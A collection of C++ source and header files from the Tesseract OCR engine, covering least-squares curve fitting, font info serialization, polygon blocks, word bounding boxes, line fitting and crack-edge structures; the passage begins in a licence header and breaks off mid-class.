** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdio.h>
#include <math.h>
#include "quadlsq.h"
#include "tprintf.h"
// Minimum variance in least squares before backing off to a lower degree.
const double kMinVariance = 1.0 / 1024;
/**********************************************************************
* QLSQ::clear
*
* Function to initialize a QLSQ.
**********************************************************************/
void QLSQ::clear() { // initialize
a = 0.0;
b = 0.0;
c = 0.0;
n = 0; // No elements.
sigx = 0.0; // Zero accumulators.
sigy = 0.0;
sigxx = 0.0;
sigxy = 0.0;
sigyy = 0.0;
sigxxx = 0.0;
sigxxy = 0.0;
sigxxxx = 0.0;
}
/**********************************************************************
* QLSQ::add
*
* Add an element to the accumulator.
**********************************************************************/
void QLSQ::add(double x, double y) {
n++; // Count elements.
sigx += x; // Update accumulators.
sigy += y;
sigxx += x * x;
sigxy += x * y;
sigyy += y * y;
sigxxx += static_cast<long double>(x) * x * x;
sigxxy += static_cast<long double>(x) * x * y;
sigxxxx += static_cast<long double>(x) * x * x * x;
}
/**********************************************************************
* QLSQ::remove
*
* Delete an element from the accumulator.
**********************************************************************/
void QLSQ::remove(double x, double y) {
if (n <= 0) {
tprintf("Can't remove an element from an empty QLSQ accumulator!\n");
return;
}
n--; // Count elements.
sigx -= x; // Update accumulators.
sigy -= y;
sigxx -= x * x;
sigxy -= x * y;
sigyy -= y * y;
sigxxx -= static_cast<long double>(x) * x * x;
sigxxy -= static_cast<long double>(x) * x * y;
sigxxxx -= static_cast<long double>(x) * x * x * x;
}
/**********************************************************************
* QLSQ::fit
*
* Fit the given degree of polynomial and store the result.
* This creates a quadratic of the form axx + bx + c, but limited to
* the given degree.
**********************************************************************/
void QLSQ::fit(int degree) {
long double x_variance = static_cast<long double>(sigxx) * n -
static_cast<long double>(sigx) * sigx;
// Note: for computational efficiency, we do not normalize the variance,
// covariance and cube variance here as they are in the same order in both
// nominators and denominators. However, we need be careful in value range
// check.
if (x_variance < kMinVariance * n * n || degree < 1 || n < 2) {
// We cannot calculate b reliably so forget a and b, and just work on c.
a = b = 0.0;
if (n >= 1 && degree >= 0) {
c = sigy / n;
} else {
c = 0.0;
}
return;
}
long double top96 = 0.0; // Accurate top.
long double bottom96 = 0.0; // Accurate bottom.
long double cubevar = sigxxx * n - static_cast<long double>(sigxx) * sigx;
long double covariance = static_cast<long double>(sigxy) * n -
static_cast<long double>(sigx) * sigy;
if (n >= 4 && degree >= 2) {
top96 = cubevar * covariance;
top96 += x_variance * (static_cast<long double>(sigxx) * sigy - sigxxy * n);
bottom96 = cubevar * cubevar;
bottom96 -= x_variance *
(sigxxxx * n - static_cast<long double>(sigxx) * sigxx);
}
if (bottom96 >= kMinVariance * n * n * n * n) {
// Denominators looking good
a = top96 / bottom96;
top96 = covariance - cubevar * a;
b = top96 / x_variance;
} else {
// Forget a, and concentrate on b.
a = 0.0;
b = covariance / x_variance;
}
c = (sigy - a * sigxx - b * sigx) / n;
}
| C++ |
///////////////////////////////////////////////////////////////////////
// File: fontinfo.cpp
// Description: Font information classes abstracted from intproto.h/cpp.
// Author: rays@google.com (Ray Smith)
// Created: Wed May 18 10:39:01 PDT 2011
//
// (C) Copyright 2011, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "fontinfo.h"
#include "bitvector.h"
#include "unicity_table.h"
namespace tesseract {
// Writes to the given file. Returns false in case of error.
bool FontInfo::Serialize(FILE* fp) const {
if (!write_info(fp, *this)) return false;
if (!write_spacing_info(fp, *this)) return false;
return true;
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool FontInfo::DeSerialize(bool swap, FILE* fp) {
if (!read_info(fp, this, swap)) return false;
if (!read_spacing_info(fp, this, swap)) return false;
return true;
}
FontInfoTable::FontInfoTable() {
set_compare_callback(NewPermanentTessCallback(CompareFontInfo));
set_clear_callback(NewPermanentTessCallback(FontInfoDeleteCallback));
}
FontInfoTable::~FontInfoTable() {
}
// Writes to the given file. Returns false in case of error.
bool FontInfoTable::Serialize(FILE* fp) const {
return this->SerializeClasses(fp);
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool FontInfoTable::DeSerialize(bool swap, FILE* fp) {
truncate(0);
return this->DeSerializeClasses(swap, fp);
}
// Returns true if the given set of fonts includes one with the same
// properties as font_id.
bool FontInfoTable::SetContainsFontProperties(
int font_id, const GenericVector<int>& font_set) const {
uinT32 properties = get(font_id).properties;
for (int f = 0; f < font_set.size(); ++f) {
if (get(font_set[f]).properties == properties)
return true;
}
return false;
}
// Returns true if the given set of fonts includes multiple properties.
bool FontInfoTable::SetContainsMultipleFontProperties(
const GenericVector<int>& font_set) const {
if (font_set.empty()) return false;
int first_font = font_set[0];
uinT32 properties = get(first_font).properties;
for (int f = 1; f < font_set.size(); ++f) {
if (get(font_set[f]).properties != properties)
return true;
}
return false;
}
// Moves any non-empty FontSpacingInfo entries from other to this.
void FontInfoTable::MoveSpacingInfoFrom(FontInfoTable* other) {
set_compare_callback(NewPermanentTessCallback(CompareFontInfo));
set_clear_callback(NewPermanentTessCallback(FontInfoDeleteCallback));
for (int i = 0; i < other->size(); ++i) {
GenericVector<FontSpacingInfo*>* spacing_vec = other->get(i).spacing_vec;
if (spacing_vec != NULL) {
int target_index = get_index(other->get(i));
if (target_index < 0) {
// Bit copy the FontInfo and steal all the pointers.
push_back(other->get(i));
other->get(i).name = NULL;
} else {
delete [] get(target_index).spacing_vec;
get(target_index).spacing_vec = other->get(i).spacing_vec;
}
other->get(i).spacing_vec = NULL;
}
}
}
// Moves this to the target unicity table.
void FontInfoTable::MoveTo(UnicityTable<FontInfo>* target) {
target->clear();
target->set_compare_callback(NewPermanentTessCallback(CompareFontInfo));
target->set_clear_callback(NewPermanentTessCallback(FontInfoDeleteCallback));
for (int i = 0; i < size(); ++i) {
// Bit copy the FontInfo and steal all the pointers.
target->push_back(get(i));
get(i).name = NULL;
get(i).spacing_vec = NULL;
}
}
// Compare FontInfo structures.
bool CompareFontInfo(const FontInfo& fi1, const FontInfo& fi2) {
// The font properties are required to be the same for two font with the same
// name, so there is no need to test them.
// Consequently, querying the table with only its font name as information is
// enough to retrieve its properties.
return strcmp(fi1.name, fi2.name) == 0;
}
// Compare FontSet structures.
bool CompareFontSet(const FontSet& fs1, const FontSet& fs2) {
if (fs1.size != fs2.size)
return false;
for (int i = 0; i < fs1.size; ++i) {
if (fs1.configs[i] != fs2.configs[i])
return false;
}
return true;
}
// Callbacks for GenericVector.
void FontInfoDeleteCallback(FontInfo f) {
if (f.spacing_vec != NULL) {
f.spacing_vec->delete_data_pointers();
delete f.spacing_vec;
}
delete[] f.name;
}
void FontSetDeleteCallback(FontSet fs) {
delete[] fs.configs;
}
/*---------------------------------------------------------------------------*/
// Callbacks used by UnicityTable to read/write FontInfo/FontSet structures.
bool read_info(FILE* f, FontInfo* fi, bool swap) {
inT32 size;
if (fread(&size, sizeof(size), 1, f) != 1) return false;
if (swap)
Reverse32(&size);
char* font_name = new char[size + 1];
fi->name = font_name;
if (static_cast<int>(fread(font_name, sizeof(*font_name), size, f)) != size)
return false;
font_name[size] = '\0';
if (fread(&fi->properties, sizeof(fi->properties), 1, f) != 1) return false;
if (swap)
Reverse32(&fi->properties);
return true;
}
bool write_info(FILE* f, const FontInfo& fi) {
inT32 size = strlen(fi.name);
if (fwrite(&size, sizeof(size), 1, f) != 1) return false;
if (static_cast<int>(fwrite(fi.name, sizeof(*fi.name), size, f)) != size)
return false;
if (fwrite(&fi.properties, sizeof(fi.properties), 1, f) != 1) return false;
return true;
}
bool read_spacing_info(FILE *f, FontInfo* fi, bool swap) {
inT32 vec_size, kern_size;
if (fread(&vec_size, sizeof(vec_size), 1, f) != 1) return false;
if (swap) Reverse32(&vec_size);
ASSERT_HOST(vec_size >= 0);
if (vec_size == 0) return true;
fi->init_spacing(vec_size);
for (int i = 0; i < vec_size; ++i) {
FontSpacingInfo *fs = new FontSpacingInfo();
if (fread(&fs->x_gap_before, sizeof(fs->x_gap_before), 1, f) != 1 ||
fread(&fs->x_gap_after, sizeof(fs->x_gap_after), 1, f) != 1 ||
fread(&kern_size, sizeof(kern_size), 1, f) != 1) {
delete fs;
return false;
}
if (swap) {
ReverseN(&(fs->x_gap_before), sizeof(fs->x_gap_before));
ReverseN(&(fs->x_gap_after), sizeof(fs->x_gap_after));
Reverse32(&kern_size);
}
if (kern_size < 0) { // indication of a NULL entry in fi->spacing_vec
delete fs;
continue;
}
if (kern_size > 0 && (!fs->kerned_unichar_ids.DeSerialize(swap, f) ||
!fs->kerned_x_gaps.DeSerialize(swap, f))) {
delete fs;
return false;
}
fi->add_spacing(i, fs);
}
return true;
}
bool write_spacing_info(FILE* f, const FontInfo& fi) {
inT32 vec_size = (fi.spacing_vec == NULL) ? 0 : fi.spacing_vec->size();
if (fwrite(&vec_size, sizeof(vec_size), 1, f) != 1) return false;
inT16 x_gap_invalid = -1;
for (int i = 0; i < vec_size; ++i) {
FontSpacingInfo *fs = fi.spacing_vec->get(i);
inT32 kern_size = (fs == NULL) ? -1 : fs->kerned_x_gaps.size();
if (fs == NULL) {
// Valid to have the identical fwrites. Writing invalid x-gaps.
if (fwrite(&(x_gap_invalid), sizeof(x_gap_invalid), 1, f) != 1 ||
fwrite(&(x_gap_invalid), sizeof(x_gap_invalid), 1, f) != 1 ||
fwrite(&kern_size, sizeof(kern_size), 1, f) != 1) {
return false;
}
} else {
if (fwrite(&(fs->x_gap_before), sizeof(fs->x_gap_before), 1, f) != 1 ||
fwrite(&(fs->x_gap_after), sizeof(fs->x_gap_after), 1, f) != 1 ||
fwrite(&kern_size, sizeof(kern_size), 1, f) != 1) {
return false;
}
}
if (kern_size > 0 && (!fs->kerned_unichar_ids.Serialize(f) ||
!fs->kerned_x_gaps.Serialize(f))) {
return false;
}
}
return true;
}
bool read_set(FILE* f, FontSet* fs, bool swap) {
if (fread(&fs->size, sizeof(fs->size), 1, f) != 1) return false;
if (swap)
Reverse32(&fs->size);
fs->configs = new int[fs->size];
for (int i = 0; i < fs->size; ++i) {
if (fread(&fs->configs[i], sizeof(fs->configs[i]), 1, f) != 1) return false;
if (swap)
Reverse32(&fs->configs[i]);
}
return true;
}
bool write_set(FILE* f, const FontSet& fs) {
if (fwrite(&fs.size, sizeof(fs.size), 1, f) != 1) return false;
for (int i = 0; i < fs.size; ++i) {
if (fwrite(&fs.configs[i], sizeof(fs.configs[i]), 1, f) != 1) return false;
}
return true;
}
} // namespace tesseract.
| C++ |
/**********************************************************************
* File: polyblk.c (Formerly poly_block.c)
* Description: Polygonal blocks
* Author: Sheelagh Lloyd?
* Created:
*
* (C) Copyright 1993, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <ctype.h>
#include <math.h>
#include <stdio.h>
#include "elst.h"
#include "polyblk.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#define PBLOCK_LABEL_SIZE 150
#define INTERSECTING MAX_INT16
int lessthan(const void *first, const void *second);
POLY_BLOCK::POLY_BLOCK(ICOORDELT_LIST *points, PolyBlockType t) {
ICOORDELT_IT v = &vertices;
vertices.clear();
v.move_to_first();
v.add_list_before(points);
compute_bb();
type = t;
}
// Initialize from box coordinates.
POLY_BLOCK::POLY_BLOCK(const TBOX& box, PolyBlockType t) {
vertices.clear();
ICOORDELT_IT v = &vertices;
v.move_to_first();
v.add_to_end(new ICOORDELT(box.left(), box.top()));
v.add_to_end(new ICOORDELT(box.left(), box.bottom()));
v.add_to_end(new ICOORDELT(box.right(), box.bottom()));
v.add_to_end(new ICOORDELT(box.right(), box.top()));
compute_bb();
type = t;
}
/**
* @name POLY_BLOCK::compute_bb
*
* Compute the bounding box from the outline points.
*/
void POLY_BLOCK::compute_bb() { //constructor
ICOORD ibl, itr; //integer bb
ICOORD botleft; //bounding box
ICOORD topright;
ICOORD pos; //current pos;
ICOORDELT_IT pts = &vertices; //iterator
botleft = *pts.data ();
topright = botleft;
do {
pos = *pts.data ();
if (pos.x () < botleft.x ())
//get bounding box
botleft = ICOORD (pos.x (), botleft.y ());
if (pos.y () < botleft.y ())
botleft = ICOORD (botleft.x (), pos.y ());
if (pos.x () > topright.x ())
topright = ICOORD (pos.x (), topright.y ());
if (pos.y () > topright.y ())
topright = ICOORD (topright.x (), pos.y ());
pts.forward ();
}
while (!pts.at_first ());
ibl = ICOORD (botleft.x (), botleft.y ());
itr = ICOORD (topright.x (), topright.y ());
box = TBOX (ibl, itr);
}
/**
* @name POLY_BLOCK::winding_number
*
* Return the winding number of the outline around the given point.
* @param point point to wind around
*/
inT16 POLY_BLOCK::winding_number(const ICOORD &point) {
inT16 count; //winding count
ICOORD pt; //current point
ICOORD vec; //point to current point
ICOORD vvec; //current point to next point
inT32 cross; //cross product
ICOORDELT_IT it = &vertices; //iterator
count = 0;
do {
pt = *it.data ();
vec = pt - point;
vvec = *it.data_relative (1) - pt;
//crossing the line
if (vec.y () <= 0 && vec.y () + vvec.y () > 0) {
cross = vec * vvec; //cross product
if (cross > 0)
count++; //crossing right half
else if (cross == 0)
return INTERSECTING; //going through point
}
else if (vec.y () > 0 && vec.y () + vvec.y () <= 0) {
cross = vec * vvec;
if (cross < 0)
count--; //crossing back
else if (cross == 0)
return INTERSECTING; //illegal
}
else if (vec.y () == 0 && vec.x () == 0)
return INTERSECTING;
it.forward ();
}
while (!it.at_first ());
return count; //winding number
}
/// @return true if other is inside this.
bool POLY_BLOCK::contains(POLY_BLOCK *other) {
inT16 count; // winding count
ICOORDELT_IT it = &vertices; // iterator
ICOORD vertex;
if (!box.overlap (*(other->bounding_box ())))
return false; // can't be contained
/* check that no vertex of this is inside other */
do {
vertex = *it.data ();
// get winding number
count = other->winding_number (vertex);
if (count != INTERSECTING)
if (count != 0)
return false;
it.forward ();
}
while (!it.at_first ());
/* check that all vertices of other are inside this */
//switch lists
it.set_to_list (other->points ());
do {
vertex = *it.data ();
//try other way round
count = winding_number (vertex);
if (count != INTERSECTING)
if (count == 0)
return false;
it.forward ();
}
while (!it.at_first ());
return true;
}
/**
* @name POLY_BLOCK::rotate
*
* Rotate the POLY_BLOCK.
* @param rotation cos, sin of angle
*/
void POLY_BLOCK::rotate(FCOORD rotation) {
FCOORD pos; //current pos;
ICOORDELT *pt; //current point
ICOORDELT_IT pts = &vertices; //iterator
do {
pt = pts.data ();
pos.set_x (pt->x ());
pos.set_y (pt->y ());
pos.rotate (rotation);
pt->set_x ((inT16) (floor (pos.x () + 0.5)));
pt->set_y ((inT16) (floor (pos.y () + 0.5)));
pts.forward ();
}
while (!pts.at_first ());
compute_bb();
}
/**
* @name POLY_BLOCK::reflect_in_y_axis
*
* Reflect the coords of the polygon in the y-axis. (Flip the sign of x.)
*/
void POLY_BLOCK::reflect_in_y_axis() {
ICOORDELT *pt; // current point
ICOORDELT_IT pts = &vertices; // Iterator.
do {
pt = pts.data();
pt->set_x(-pt->x());
pts.forward();
}
while (!pts.at_first());
compute_bb();
}
/**
* POLY_BLOCK::move
*
* Move the POLY_BLOCK.
* @param shift x,y translation vector
*/
void POLY_BLOCK::move(ICOORD shift) {
ICOORDELT *pt; //current point
ICOORDELT_IT pts = &vertices; //iterator
do {
pt = pts.data ();
*pt += shift;
pts.forward ();
}
while (!pts.at_first ());
compute_bb();
}
#ifndef GRAPHICS_DISABLED
void POLY_BLOCK::plot(ScrollView* window, inT32 num) {
ICOORDELT_IT v = &vertices;
window->Pen(ColorForPolyBlockType(type));
v.move_to_first ();
if (num > 0) {
window->TextAttributes("Times", 80, false, false, false);
char temp_buff[34];
#if defined(__UNIX__) || defined(MINGW)
sprintf(temp_buff, INT32FORMAT, num);
#else
ltoa (num, temp_buff, 10);
#endif
window->Text(v.data ()->x (), v.data ()->y (), temp_buff);
}
window->SetCursor(v.data ()->x (), v.data ()->y ());
for (v.mark_cycle_pt (); !v.cycled_list (); v.forward ()) {
window->DrawTo(v.data ()->x (), v.data ()->y ());
}
v.move_to_first ();
window->DrawTo(v.data ()->x (), v.data ()->y ());
}
void POLY_BLOCK::fill(ScrollView* window, ScrollView::Color colour) {
inT16 y;
inT16 width;
PB_LINE_IT *lines;
ICOORDELT_LIST *segments;
ICOORDELT_IT s_it;
lines = new PB_LINE_IT (this);
window->Pen(colour);
for (y = this->bounding_box ()->bottom ();
y <= this->bounding_box ()->top (); y++) {
segments = lines->get_line (y);
if (!segments->empty ()) {
s_it.set_to_list (segments);
for (s_it.mark_cycle_pt (); !s_it.cycled_list (); s_it.forward ()) {
// Note different use of ICOORDELT, x coord is x coord of pixel
// at the start of line segment, y coord is length of line segment
// Last pixel is start pixel + length.
width = s_it.data ()->y ();
window->SetCursor(s_it.data ()->x (), y);
window->DrawTo(s_it.data ()->x () + (float) width, y);
}
}
}
}
#endif
/// @return true if the polygons of other and this overlap.
bool POLY_BLOCK::overlap(POLY_BLOCK *other) {
inT16 count; // winding count
ICOORDELT_IT it = &vertices; // iterator
ICOORD vertex;
if (!box.overlap(*(other->bounding_box())))
return false; // can't be any overlap.
/* see if a vertex of this is inside other */
do {
vertex = *it.data ();
// get winding number
count = other->winding_number (vertex);
if (count != INTERSECTING)
if (count != 0)
return true;
it.forward ();
}
while (!it.at_first ());
/* see if a vertex of other is inside this */
// switch lists
it.set_to_list (other->points ());
do {
vertex = *it.data();
// try other way round
count = winding_number (vertex);
if (count != INTERSECTING)
if (count != 0)
return true;
it.forward ();
}
while (!it.at_first ());
return false;
}
ICOORDELT_LIST *PB_LINE_IT::get_line(inT16 y) {
ICOORDELT_IT v, r;
ICOORDELT_LIST *result;
ICOORDELT *x, *current, *previous;
float fy, fx;
fy = (float) (y + 0.5);
result = new ICOORDELT_LIST ();
r.set_to_list (result);
v.set_to_list (block->points ());
for (v.mark_cycle_pt (); !v.cycled_list (); v.forward ()) {
if (((v.data_relative (-1)->y () > y) && (v.data ()->y () <= y))
|| ((v.data_relative (-1)->y () <= y) && (v.data ()->y () > y))) {
previous = v.data_relative (-1);
current = v.data ();
fx = (float) (0.5 + previous->x () +
(current->x () - previous->x ()) * (fy -
previous->y ()) /
(current->y () - previous->y ()));
x = new ICOORDELT ((inT16) fx, 0);
r.add_to_end (x);
}
}
if (!r.empty ()) {
r.sort (lessthan);
for (r.mark_cycle_pt (); !r.cycled_list (); r.forward ())
x = r.data ();
for (r.mark_cycle_pt (); !r.cycled_list (); r.forward ()) {
r.data ()->set_y (r.data_relative (1)->x () - r.data ()->x ());
r.forward ();
delete (r.extract ());
}
}
return result;
}
int lessthan(const void *first, const void *second) {
ICOORDELT *p1 = (*(ICOORDELT **) first);
ICOORDELT *p2 = (*(ICOORDELT **) second);
if (p1->x () < p2->x ())
return (-1);
else if (p1->x () > p2->x ())
return (1);
else
return (0);
}
#ifndef GRAPHICS_DISABLED
/// Returns a color to draw the given type.
ScrollView::Color POLY_BLOCK::ColorForPolyBlockType(PolyBlockType type) {
// Keep kPBColors in sync with PolyBlockType.
const ScrollView::Color kPBColors[PT_COUNT] = {
ScrollView::WHITE, // Type is not yet known. Keep as the 1st element.
ScrollView::BLUE, // Text that lives inside a column.
ScrollView::CYAN, // Text that spans more than one column.
ScrollView::MEDIUM_BLUE, // Text that is in a cross-column pull-out region.
ScrollView::AQUAMARINE, // Partition belonging to an equation region.
ScrollView::SKY_BLUE, // Partition belonging to an inline equation region.
ScrollView::MAGENTA, // Partition belonging to a table region.
ScrollView::GREEN, // Text-line runs vertically.
ScrollView::LIGHT_BLUE, // Text that belongs to an image.
ScrollView::RED, // Image that lives inside a column.
ScrollView::YELLOW, // Image that spans more than one column.
ScrollView::ORANGE, // Image in a cross-column pull-out region.
ScrollView::BROWN, // Horizontal Line.
ScrollView::DARK_GREEN, // Vertical Line.
ScrollView::GREY // Lies outside of any column.
};
if (type >= 0 && type < PT_COUNT) {
return kPBColors[type];
}
return ScrollView::WHITE;
}
#endif // GRAPHICS_DISABLED
| C++ |
///////////////////////////////////////////////////////////////////////
// File: boxword.h
// Description: Class to represent the bounding boxes of the output.
// Author: Ray Smith
// Created: Tue May 25 14:18:14 PDT 2010
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CSTRUCT_BOXWORD_H__
#define TESSERACT_CSTRUCT_BOXWORD_H__
#include "genericvector.h"
#include "rect.h"
#include "unichar.h"
class BLOCK;
class DENORM;
struct TWERD;
class UNICHARSET;
class WERD;
class WERD_CHOICE;
class WERD_RES;
namespace tesseract {
// Class to hold an array of bounding boxes for an output word and
// the bounding box of the whole word.
class BoxWord {
public:
BoxWord();
explicit BoxWord(const BoxWord& src);
~BoxWord();
BoxWord& operator=(const BoxWord& src);
void CopyFrom(const BoxWord& src);
// Factory to build a BoxWord from a TWERD using the DENORMs on each blob to
// switch back to original image coordinates.
static BoxWord* CopyFromNormalized(TWERD* tessword);
// Clean up the bounding boxes from the polygonal approximation by
// expanding slightly, then clipping to the blobs from the original_word
// that overlap. If not null, the block provides the inverse rotation.
void ClipToOriginalWord(const BLOCK* block, WERD* original_word);
// Merges the boxes from start to end, not including end, and deletes
// the boxes between start and end.
void MergeBoxes(int start, int end);
// Inserts a new box before the given index.
// Recomputes the bounding box.
void InsertBox(int index, const TBOX& box);
// Changes the box at the given index to the new box.
// Recomputes the bounding box.
void ChangeBox(int index, const TBOX& box);
// Deletes the box with the given index, and shuffles up the rest.
// Recomputes the bounding box.
void DeleteBox(int index);
// Deletes all the boxes stored in BoxWord.
void DeleteAllBoxes();
// This and other putatively are the same, so call the (permanent) callback
// for each blob index where the bounding boxes match.
// The callback is deleted on completion.
void ProcessMatchedBlobs(const TWERD& other, TessCallback1<int>* cb) const;
const TBOX& bounding_box() const {
return bbox_;
}
const int length() const {
return length_;
}
const TBOX& BlobBox(int index) const {
return boxes_[index];
}
private:
void ComputeBoundingBox();
TBOX bbox_;
int length_;
GenericVector<TBOX> boxes_;
};
} // namespace tesseract.
#endif // TESSERACT_CSTRUCT_BOXWORD_H__
| C++ |
///////////////////////////////////////////////////////////////////////
// File: detlinefit.h
// Description: Deterministic least upper-quartile squares line fitting.
// Author: Ray Smith
// Created: Thu Feb 28 14:35:01 PDT 2008
//
// (C) Copyright 2008, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_DETLINEFIT_H_
#define TESSERACT_CCSTRUCT_DETLINEFIT_H_
#include "genericvector.h"
#include "kdpair.h"
#include "points.h"
namespace tesseract {
// This class fits a line to a set of ICOORD points.
// There is no restriction on the direction of the line, as it
// uses a vector method, ie no concern over infinite gradients.
// The fitted line has the least upper quartile of squares of perpendicular
// distances of all source points from the line, subject to the constraint
// that the line is made from one of the pairs of [{p1,p2,p3},{pn-2, pn-1, pn}]
// i.e. the 9 combinations of one of the first 3 and last 3 points.
// A fundamental assumption of this algorithm is that one of the first 3 and
// one of the last 3 points are near the best line fit.
// The points must be Added in line order for the algorithm to work properly.
// No floating point calculations are needed* to make an accurate fit,
// and no random numbers are needed** so the algorithm is deterministic,
// architecture-stable, and compiler-stable as well as stable to minor
// changes in the input.
// *A single floating point division is used to compute each line's distance.
// This is unlikely to result in choice of a different line, but if it does,
// it would be easy to replace with a 64 bit integer calculation.
// **Random numbers are used in the nth_item function, but the worst
// non-determinism that can result is picking a different result among equals,
// and that wouldn't make any difference to the end-result distance, so the
// randomness does not affect the determinism of the algorithm. The random
// numbers are only there to guarantee average linear time.
// Fitting time is linear, but with a high constant, as it tries 9 different
// lines and computes the distance of all points each time.
// This class is aimed at replacing the LLSQ (linear least squares) and
// LMS (least median of squares) classes that are currently used for most
// of the line fitting in Tesseract.
class DetLineFit {
public:
DetLineFit();
~DetLineFit();
// Delete all Added points.
void Clear();
// Adds a new point. Takes a copy - the pt doesn't need to stay in scope.
// Add must be called on points in sequence along the line.
void Add(const ICOORD& pt);
// Associates a half-width with the given point if a point overlaps the
// previous point by more than half the width, and its distance is further
// than the previous point, then the more distant point is ignored in the
// distance calculation. Useful for ignoring i dots and other diacritics.
void Add(const ICOORD& pt, int halfwidth);
// Fits a line to the points, returning the fitted line as a pair of
// points, and the upper quartile error.
double Fit(ICOORD* pt1, ICOORD* pt2) {
return Fit(0, 0, pt1, pt2);
}
// Fits a line to the points, ignoring the skip_first initial points and the
// skip_last final points, returning the fitted line as a pair of points,
// and the upper quartile error.
double Fit(int skip_first, int skip_last, ICOORD* pt1, ICOORD* pt2);
// Constrained fit with a supplied direction vector. Finds the best line_pt,
// that is one of the supplied points having the median cross product with
// direction, ignoring points that have a cross product outside of the range
// [min_dist, max_dist]. Returns the resulting error metric using the same
// reduced set of points.
// *Makes use of floating point arithmetic*
double ConstrainedFit(const FCOORD& direction,
double min_dist, double max_dist,
bool debug, ICOORD* line_pt);
// Returns true if there were enough points at the last call to Fit or
// ConstrainedFit for the fitted points to be used on a badly fitted line.
bool SufficientPointsForIndependentFit() const;
// Backwards compatible fit returning a gradient and constant.
// Deprecated. Prefer Fit(ICOORD*, ICOORD*) where possible, but use this
// function in preference to the LMS class.
double Fit(float* m, float* c);
// Backwards compatible constrained fit with a supplied gradient.
// Deprecated. Use ConstrainedFit(const FCOORD& direction) where possible
// to avoid potential difficulties with infinite gradients.
double ConstrainedFit(double m, float* c);
private:
// Simple struct to hold an ICOORD point and a halfwidth representing half
// the "width" (supposedly approximately parallel to the direction of the
// line) of each point, such that distant points can be discarded when they
// overlap nearer points. (Think i dot and other diacritics or noise.)
struct PointWidth {
PointWidth() : pt(ICOORD(0, 0)), halfwidth(0) {}
PointWidth(const ICOORD& pt0, int halfwidth0)
: pt(pt0), halfwidth(halfwidth0) {}
ICOORD pt;
int halfwidth;
};
// Type holds the distance of each point from the fitted line and the point
// itself. Use of double allows integer distances from ICOORDs to be stored
// exactly, and also the floating point results from ConstrainedFit.
typedef KDPairInc<double, ICOORD> DistPointPair;
// Computes and returns the squared evaluation metric for a line fit.
double EvaluateLineFit();
// Computes the absolute values of the precomputed distances_,
// and returns the squared upper-quartile error distance.
double ComputeUpperQuartileError();
// Returns the number of sample points that have an error more than threshold.
int NumberOfMisfittedPoints(double threshold) const;
// Computes all the cross product distances of the points from the line,
// storing the actual (signed) cross products in distances_.
// Ignores distances of points that are further away than the previous point,
// and overlaps the previous point by at least half.
void ComputeDistances(const ICOORD& start, const ICOORD& end);
// Computes all the cross product distances of the points perpendicular to
// the given direction, ignoring distances outside of the give distance range,
// storing the actual (signed) cross products in distances_.
void ComputeConstrainedDistances(const FCOORD& direction,
double min_dist, double max_dist);
// Stores all the source points in the order they were given and their
// halfwidths, if any.
GenericVector<PointWidth> pts_;
// Stores the computed perpendicular distances of (some of) the pts_ from a
// given vector (assuming it goes through the origin, making it a line).
// Since the distances may be a subset of the input points, and get
// re-ordered by the nth_item function, the original point is stored
// along side the distance.
GenericVector<DistPointPair> distances_; // Distances of points.
// The squared length of the vector used to compute distances_.
double square_length_;
};
} // namespace tesseract.
#endif // TESSERACT_CCSTRUCT_DETLINEFIT_H_
| C++ |
/**********************************************************************
* File: crakedge.h (Formerly: crkedge.h)
* Description: Sturctures for the Crack following edge detector.
* Author: Ray Smith
* Created: Fri Mar 22 16:06:38 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef CRAKEDGE_H
#define CRAKEDGE_H
#include "points.h"
#include "mod128.h"
class CRACKEDGE {
public:
CRACKEDGE() {}
ICOORD pos; /*position of crack */
inT8 stepx; //edge step
inT8 stepy;
inT8 stepdir; //chaincode
CRACKEDGE *prev; /*previous point */
